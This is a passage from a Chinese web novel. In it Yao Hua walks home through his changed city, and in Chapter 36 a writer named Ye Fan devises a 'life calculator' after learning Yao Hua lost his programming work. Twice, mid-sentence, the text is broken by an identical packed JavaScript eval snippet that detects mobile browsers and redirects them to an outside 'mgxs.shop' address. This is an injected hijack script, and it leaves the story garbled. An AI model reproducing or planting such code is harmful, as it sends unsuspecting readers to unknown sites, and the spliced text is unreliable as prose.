他继续走。过了北站,街道的模样慢慢亲了,或者说,旧了。前面是第二中学,母亲张玉芬卖了十几年教辅书的地方。学校阔气了,围墙加高,门口还修了带棚子的等候区,有椅子。正是放学时候,门口堵成了粥,小汽车、电动车,各色校服的学生像潮水一样涌出来,又迅速被各自的家长“捞”走。几个卖零嘴、卖小玩意儿的摊贩,机警地散在远处,眼珠子骨碌碌转,脚底下像抹了油,时刻准备着跟城管打游击。没有卖书的老太太了。姚华站在马路对面,看了很久,直到学生散尽,门口冷清下来,像个卸了妆的戏台。他好像又看见母亲那辆装满书的三轮车,看见她被穿制服的人挥手驱赶时,那慌张又熟练地一拐,钻进旁边的小巷,看见她低着头,在昏黄的灯下,数那些皱巴巴的毛票,蘸一下唾沫,数一张。那些景象清楚得很,可又像隔着一层毛玻璃,冰凉的,摸不着了,一碰就怕碎。 再往前走,是他念过的小学。盐坨村小学居然还在,可模样全改了。低矮的平房没了,换成一栋贴粉瓷砖的三层楼,像个突然擦了胭脂的老太太。操场上铺了红的塑胶跑道,围墙刷得瓦蓝,画着卡通人,朝气蓬勃得有点刻意。只剩下那棵老槐树,还在老地方,好像更粗了,也更沉默了。姚华隔着铁栏杆望进去,几个孩子在操场上追着跑,尖笑声扎着耳朵。他想起自己那个破败的校园,一个歪脖篮球架,一跑就扬起黄土的操场,还有那个总鼓着腮帮子、像只青蛙的音乐老师。时间在这儿做了笔买卖,用这光鲜亮丽的新皮,换走了他那儿所有灰头土脸的念想。公平不公平,没人说得清。 他就这么走着,看着。路过父亲曾干过两天活儿的电影院旧址,现在是家连锁火锅店,红彤彤的招牌,热气腾腾的假象。路过母亲带他去换房本的房管站,如今挂着房产中介的牌子,玻璃门上贴满红色的房价数字,像一道道符咒。路过他第一次领工资后,请母亲下馆子的小饭馆,早变成二十四小时便利店,白亮的灯光冷清清地照着空了一半的货架,像个守夜人。 城在变,又像没变。路宽了,楼高了,招牌换了一茬又一茬,眼花缭乱。可那股子底层的、为一口吃食喘气挣扎的味道,好像还盘在些角落里,只是换了身衣裳,学会了新的台词。 天光暗下来了,路边的灯,一盏接一盏地亮起,不情愿似的。姚华觉得脚底板发烫,像踩着两片烙铁;小腿肚子硬得像两块石头,硌着筋;汗把内衣溻透了,贴在背上,凉一阵,又痒一阵,像有许多小虫子在爬。可他没停。好像一停下,撑着走完这条路的那个什么东西,那个说不清道不明的东西,就散了,就再也攒不起来了。 黄昏爬上肩膀的时候,他看见了北郊区那限价房小区的大门。那几栋六层的板楼,在暮色里显出敦实的轮廓,像几个蹲着休息的巨人。他几乎是一寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119442|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一寸挪到门口的,身子靠在冰凉的门禁杆上,大口喘气,肺叶子像个破风箱。他从裤袋里掏出手机,屏幕的光刺了一下眼,他点开那个计步软件。 今日步数:41732。 他盯着那数字,看了好几秒。四万多步,是多远?他没概念。只觉得这数字大得有点荒唐,又沉得有点呛人,像是一笔突然算不清的账。 喘匀了气,他刷卡,“嘀”一声,进了小区,走进电梯。不锈钢的电梯门像面没磨光的镜子,照出他现在的样:头发被汗粘成一绺一绺,灰的白的花着,像秋后的野草;脸涨红着,嘴张着喘气,像个离了水的鱼;T恤领口湿了一圈,整个人像刚从一场漫长的、无人知晓的跋涉里逃出来,丢盔弃甲。 他忽然想起了父亲。父亲走了一辈子,走到头发掉光,走到酒瓶见底,走到悄没声地倒在老屋冰冷的水泥地上。他以前不懂,觉得那是倔,是怪,是没能耐,是跟时代赌气。可这会儿,他自己喘着粗气,看着镜子里那个同样疲惫、早生了半头华发、眼神空落落的人,有个念头,像电梯上升时猛地一拽肚子,直撞上来: 或许,父亲那些看着没头没脑的、倔驴似的走,从来不是为了到哪个具体的地儿。包子铺、北站、小卖部……都不是终点。走这件事本身,怕才是他唯一的目的,是他跟这世界最实在的交道。在一脚接一脚的挪动里,在筋肉酸胀的滋味和喘气的节奏里,在身子骨和地面这没完没了的、单调的较劲里,他才能咂摸出自己还在动着,还没彻底僵了,还没被日子活活钉死在那儿。走着,就是一种呼吸法,一种对抗“不动”的土方子。 行走,成了他对抗不动弹的唯一法子,是他留给这世界,也是留给自己最后一份遗产,一份笨拙的、却只有靠双脚才能领到的遗嘱。这遗嘱没写字,就印在这一步一步里。 “叮——” 一声,六楼到了。电梯门缓缓滑开,不紧不慢。 姚华拖着两条灌了铅的腿挪出来,掏出钥匙。钥匙插进锁孔,转动,发出干脆的一声“咔哒”。门开了。 屋里没开灯,昏沉沉的。只有西边窗户,漏进来最后一点天光,把窗棂的影子拉得老长,一格一格,打在空荡荡的客厅地板上。那影子方方正正的,冷冷的,像一本摊开了却永远写不满的账本,上面也许只胡乱划着几笔,谁也看不懂,而且,再也添不了什么新数了。 他没去摸开关,也没换鞋。就那样带着一身外面的尘土和汗味,慢慢走到窗前,像个终于到站的旅客,却找不到自己的座位。 远处,那片闹腾了好几年的工地上,塔吊顶端的红灯亮了,一闪,一闪,在越来越浓的夜色里,慢吞吞地、固执地划着圆弧。那巨大的铁臂在转,慢得像老座钟的时针,沉甸甸的,笨得很,却又一分不差地,挪向下一格。它指着的地方,是更远处还没亮起灯火、模糊成一片的城际线,是明天,是下一个节气,是一个没人知道、也没人约好的将来。它只管转着,像一种与生俱来的职责,或者,一种惯性。 夜风从窗缝里挤进来,带着尘土和远处工地铁锈的凉气。吹动他汗湿的头发梢,吹动桌上摊着的那本记账簿——扉页上那个他算了好久也没完全平的公式,纸角轻轻掀起来,又落下,像个无声的叹息。 姚华站在窗前,看着那一明一灭的红点,和那缓缓转动的巨大黑影。他没动,只是看着。腿上的酸疼一阵阵泛上来,提醒他刚才那四万多步的存在。 屋里真静。静得能听见自己心在腔子里跳,咚,咚,咚,不慌不忙;能听见血淌过太阳穴,嗡嗡的,像条小小的、不肯歇的河,自顾自地流着。 这声响,是一种证明。证明行走停下了,生命里头那座钟的摆,还没停。它还得摇,摇到摇不动为止。跟那塔吊一样,笨拙地,一圈,又一圈。 36. 第三十六章 人生计算器V1.0 窗外那暮色,跟放凉了的茶差不多,由金黄变成灰褐,也就是一晃眼的事。叶凡坐在书桌前,台灯的光在他脸上明明暗暗,像心里有事没摁住。 他拨了个存了好些年的号。 “嘟——嘟——” “喂?”那头声有点哑,背景里有炒菜的动静,滋啦滋啦的。 “华仔,我叶凡。”他停了一下,“问你个事儿?” “叶凡啊!”姚华声亮了些,“啥事?说!” 叶凡翻着面前的本子,纸都泛黄了,密密的字像时间长的苔。那是2019年秋天,在姚华租的屋里记的——三十平米,堆满了编程书和他母亲的中药罐子。 “几年前我不是采访过你,想写写你的事么?”叶凡问。 “嗯,记得。”姚华声远了一下,大概是对边上人说“妈,盐少点儿”,又凑回话筒,“2019年吧,我给你说了一天。那天还下雨了,是不?” “对,窗玻璃上全是水汽。”叶凡想起那个潮乎乎的下午,姚华说话时老看窗外,好像那些旧事都晾在铁丝上,随风晃荡。 “现在写到你带你妈离开你那酒鬼爹,去望海楼那边租房子那段了。”叶凡用笔尖在本子上轻轻点着,“那条胡同叫啥来着?我本子上记不清了,名儿好像有点怪。” 电话里静了。叶凡听见打火机响,一下,两下,然后一声长长的吐气。 “地藏庵。”姚华说,声很轻,“地藏庵大街。” “啥?” “地藏庵大街。”姚华重复一遍,“你刚说好像不是这名儿,但我这阵突然想起来了。就是地藏庵大街。” 叶凡赶紧记下这四个字。地藏庵——地狱不空,誓不成佛。这名儿,装着救赎,也装着苦。 “刚才咋说想不起来?”叶凡问。 姚华笑了笑,笑声里透着累:“可能是不太愿意想吧。那会儿……太苦了。这么小的屋子,没暖气,冬天墙上一层霜。我妈的关节炎,就是那时落下的。” “可你们熬过来了。” “嗯,熬过来了。”姚华顿了顿,“不过有时候我也琢磨,人这一辈子,是不是就是从一条地藏庵大街,搬到另一条地藏庵大街?” 叶凡接不上话。他听见那头传来敲键盘的声,轻轻的,但很密。 “最近活儿怎么样?”叶凡转了个话头。 键盘声停了。 “没找着。”姚华说。 “咋回事?”叶凡坐直了。在他印象里,姚华一直是那种绝境里还能敲出代码的主——凭自学编程,硬是把母亲从地藏庵大街带进了商品房,把酒鬼爹的影子关在了从前。 “没咋。”姚华语气平平静静的,平得让人有点不踏实,“今年开年,那新玩意儿起来了,能顶我不少活儿。我做前端的。” “那能顶多少?” “八成吧?”姚华说,又改了改口,“可能更多。上月我去面试,人家直接问:‘你觉得你比它强在哪儿?’我说我有十年经验。人家说:‘我们这东西,喂了四十亿行饭。’” 叶凡想说点啥,可所有安慰的话都显得飘。他想起2019年那个下午,姚华指着满墙的编程书说:“技术不坑努力人。”说这话时,姚华眼里有光,像深夜里屏幕上最后亮着的那行字。 “那你现在……” “学新东西呢。”姚华截住他,语气又轻快起来,“总不能真让机器替了,对吧?对了,我那故事你还写不?” “写。” “写完发我瞅瞅。”姚华说,“我也想知道,在旁人眼里,我这一辈子算个啥账。” 挂了电话,叶凡对着“地藏庵大街”五个字愣了半天神。窗外天全黑了,城的灯一盏盏亮起来,每盏灯后面都是一个正在跑的人生程序——有的顺当,有的报错,有的在等一个永远回不来的数。 他忽然琢磨起一个事儿,一个关于人生的、屁用没有但非琢磨不可的事儿。 他管它叫“人生计算器”。 凌晨两点,叶凡坐在电脑前,屏幕上是刚写完的采访稿。他连续忙活了十八个钟头,就为弄清楚一家金融公司新搞出来的那套系统——据说能算出哪些人可能还不上钱,哪些投资可能打水漂,哪些人生可能走背字。 是的,人生。 叶凡停下手,看着自己记的笔记。那些如果这样那就那样,那些来回绕圈子,那些可能不可能。他突然想到,要是这套法子能算金融风险,咋就不能算算人生风险? 窗外,城市的灯还亮着。远处的写字楼里,有人和他一样还没睡。他们算着股价、汇率、赚头,算着一切能算的东西。 但没人算人生。 叶凡合上采访本,抽了张空白纸。 第一行,他写道:人生计算器 v1.0。 这算计得从几个简单的数开始。 出生日子、估计能活多久、一个月进多少出多少、心里真正装着几个人、一礼拜有多少时间完全属于自己、饭碗被新玩意儿抢走的可能性有多大。 叶凡停了下来。他意识到,人生的账远比钱账复杂。 钱账只需要数:本钱、利息、时间、风险。 人生需要啥?出生日子、估计寿命、收入、支出,还有...那些没法用秤称的东西。 “心里装着的人”,他写下了这几个字。 真正惦记你的人。想起你时会心里一紧的人。在你趴下时还扶着你的人。 叶凡数了数自己心里装着的人:父母、妹妹、两个大学室友、还有...前女友。五个。 不,现在可能是四个了。前女友大概不再属于这范畴。 收集这些数花了老半天,因为人生本来就长。 叶凡想起了姚华。那个在电话里说“我也想知道,在别人眼里,我的人生算是个什么账”的人。 她生日是啥时候?叶凡不知道。他该知道吗?他们是朋友,至少他认为是。 他写下了自己的生日:1983年2月26日。 一算:已经存在了大概一万五千六百五十五天。 约莫四十二点九年。 叶凡盯着这个数。一万五千多天。听起来不少,但已经过去了一大半。 估计寿命他按平均数写:七十五岁。 再一算:大概还剩一万一千七百二十天。 剩下的比过去的少了,这不是个好消息。叶凡觉得心里一紧。 过日子那部分,叶凡如实填了。 月收入:一万五。 月支出:一万二。房租六千,吃饭三千,交通通讯一千,其他两千。 每月能剩下:三千。 他开始算啥时候能存够一百万: 如果每月真能存下三千,存够一百万得二十七年又八个月。 也就是说,叶凡得干到七十岁才能攒够这个数。而那时,离他估计的人生终点只剩五年。 他苦笑。这就是普通人的存钱时间表,对中年人不怎么友好。 关系那部分让叶凡停得更久。 心里装着的人:五个。父母、妹妹、两个朋友。 他犹豫了一下,划掉了“两个朋友”,改成了“一个”。大学毕业后,还常联系的朋友就剩一个了。 每周完全属于自己的时间:他算了算。每天下班后大概三小时,周末大概八小时,总共约三十小时。但他写了“八小时”,因为真正高质量的、完全属于自己的时间,大概只有这么多。 他算了算关系浓度:假设每人每天需要半小时高质量陪伴,自己这点时间够不够? 结果出来:七十八点五分。 比想象中高。也许是因为他心里装着的人少,要陪的时间也就不多。 这是讽刺吗?朋友越少,关系浓度越高。 时代那部分最现实。 叶凡如实估了自己的饭碗被抢走的可能性:四十五分。 作为搞技术的,他正在参与弄那些可能取代别人的新玩意儿。但最新的消息说,那新玩意儿已经开始写简单的代码了。也许有一天,他写的东西会被他参与弄的新玩意儿优化,然后新玩意儿会弄出更好的新玩意儿,然后... 然后就不需要他了。 他算了自己跟上时代的程度:五十五分。 刚好过半数。勉强没掉队,但随时可能被甩下。 自己完整度的计算最麻烦: 财务压力是零点八(支出占收入的八成),独处时间占比是零点零四七六(八小时除以一百六十八小时)。 叶凡想,这么算合理吗?钱和时间,真的能定义一个完整的人吗? 也许不能。但啥能呢? 白头发速度的计算让叶凡笑了: 压力系数乘上年龄系数,结果是百分之二十八点九。 他已经有几根白头发了,在鬓角。母亲上次视频时看到了,让他注意休息。 他不知道这个百分比是啥意思。每年多百分之二十八点九的白发?还是已经有百分之二十八点九的头发变白了? 他摸了摸自己的头发。还是黑的,但确实白了一些。 最温暖的计算是笑过多少次: 假设小时候每天笑十回,长大了越来越少,关系浓度和自己完整度也影响笑容。 一算:总共大概笑过一万七千八百五十次。 平均每天:约莫一点二次。 叶凡回想今天笑了几回。早上看见只流浪猫:一回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119443|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中午同事讲了个笑话:一回。晚上...没有。 也许平均数是对的。有些天笑得多,有些天笑得少。 半夜醒来的次数: 压力越大,半夜醒得越多。 结果:大概两千零四十夜。 叶凡想,这大概是对的。他有失眠的毛病,尤其在想不明白事儿的时候,年纪越大,攒下的清醒夜越多。 比如现在。 后悔清单最扎心: 程序根据叶凡的人生状态选了三项: 1. 太早放弃了小时候的梦想 2. 用忙代替想,用热闹代替独处 3. 在虚的地方浪费了实的时光 小时候的梦想是啥?叶凡想了想。画家?不对。开飞机?不对。好像是...写东西。 他曾经想写小说,写那些算不清的人生。 现在他写采访稿,算那些能算的一切。 最后的综合评分: 叶凡的得分:七十一点五分。 评语:“在缝里找到了平衡,但时间不等人了。” 他盯着这个分数。七十一点五。百分制的话,是良好,不是优秀。 他的人生得了良好,并且随着剩的时间越来越少,这分数可能很难再往上提。 该满意吗?还是该追优秀? 追优秀需要干啥?赚更多钱?交更多朋友?更跟上时代? 他不知道。 完整的报告出来后,叶凡看了很久。 这就是他的人生账。输入几个数,输出一张单子。 清楚,明白,有点凉。 叶凡想起了姚华。他该把这琢磨出来的东西告诉她。 但他犹豫了。 姚华会怎么填他的数?他心里装着几个人?他每周有多少自己的时间?他的饭碗被抢的可能性有多大? 他不知道。 也许这就是问题。他能算自己的人生,但算不了别人的。就算用同样的法子,同样的公式。 因为有些数,只有自己知道。 有些结果,只有自己明白。 凌晨三点,叶凡终于琢磨完了。 他把那张纸折好,放进抽屉。 然后,他抽了张新纸,开始写点不一样的。 这一次,不算账。 而是写字。 关于算法算不了的东西。关于情分,关于念想,关于胆子。 关于那些半夜醒来时想的事儿。 关于那些笑的时候觉着的暖乎。 关于那些后悔时明白的理。 他写道: “人生没法真算清,就像算盘打不出情分、念想和胆子。你那独一份的人生账,只能你自己来算。” 他把这张纸和刚才那张放一起。 这是第三十六章。关于一个人生计算器,和一个琢磨它的人。 叶凡关掉台灯,走到窗前。 城市还醒着,灯还亮着。 他想起了最后那句话: 地藏庵大街的灯光,终会照亮前面的路。 他住在南开,不是地藏庵大街。 但他知道,每条街都有灯。每盏灯下,都有人生。 每个人都在算着什么,被什么算着。 每个人都在打自己的算盘,被算盘打着。 叶凡拿出手机,找到姚华的号码。 他输入:“账我算了,但要提醒你,算出来的数只能看看。人生变数太多,算盘打不全。” 发送。 几秒钟后,回复来了:“就像天气预报,知道要下雨,但不知道雨滴长啥样。” 叶凡笑了。今天第二回笑。 他回复:“对。而且不知道哪滴雨会掉在谁肩膀上。” 姚华:“那就让它下吧。我带了伞。” 叶凡看着窗外。南开不怎么下雨,但他喜欢雨。 雨算不清,就像人生。 但人们还是算降雨概率,就像人们还是算人生概率。 也许重要的不是算得准不准,而是算的这个过程。是在算中明白自己,是在明白中接受自己。 叶凡回到桌前,打开抽屉拿出那张纸。 他在最后添了一句: “记着:你不光是算盘上的珠子,也是打算盘的那只手。” 折好,放回。 窗外,天开始泛白了。 新的一天来了。新的账,新的人生。 叶凡伸了个懒腰,准备歇会儿。 睡着了,也许会有算不清的梦。 但没关系。 他可以醒了之后,试着用字说说它。 就像现在,试着用字说说人生。